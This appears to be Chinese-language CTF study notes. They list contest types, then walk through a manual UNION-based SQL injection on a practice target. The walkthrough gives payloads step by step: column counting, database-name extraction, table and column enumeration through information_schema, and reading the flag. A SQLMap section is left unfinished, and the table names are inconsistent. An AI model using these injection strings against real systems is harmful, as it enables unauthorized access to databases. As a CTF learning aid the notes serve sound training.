跳到主要内容

CTF

CTP(Capture the Flag),中文称“夺旗赛”,安全人员之间进行技术竞争的一种比赛。

比赛形式:

  1. 理论赛
  2. 夺旗赛:Crypto(编码)、Web(渗透)、MISC(杂项)、Reverse(逆向)、PMW
  3. AWD 网络攻防赛(团队赛、混战)
  4. CFS 网络攻防赛(团队赛、综合靶场)

常见 CTF 题目:https://www.ctfhub.com

SQL 注入

手动注入

我们使用联合注入的方式:

1️⃣ 判断列数、显示位

输入 1' order by 2# 回显,而输入 1' order by 3# 不回显,说明数据库查询了两列:

2️⃣ 获取目标数据库名

输入 -1' union select database(),2 # 获取数据库的名称为 sqli

3️⃣ 获取目标数据库的所有表名、字段名、字段中的数据

输入 -1' union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' #,获取得到表 newflag

查找 flag 表,输入 -1' union select group_concat(column_name) ,2 from information_schema.columns where table_name='flag' # ,发现 flag 字段

输入 -1' union select flag,2 from sqli.flag #,最终得到 ctfflag

使用 SQLMap

// TODO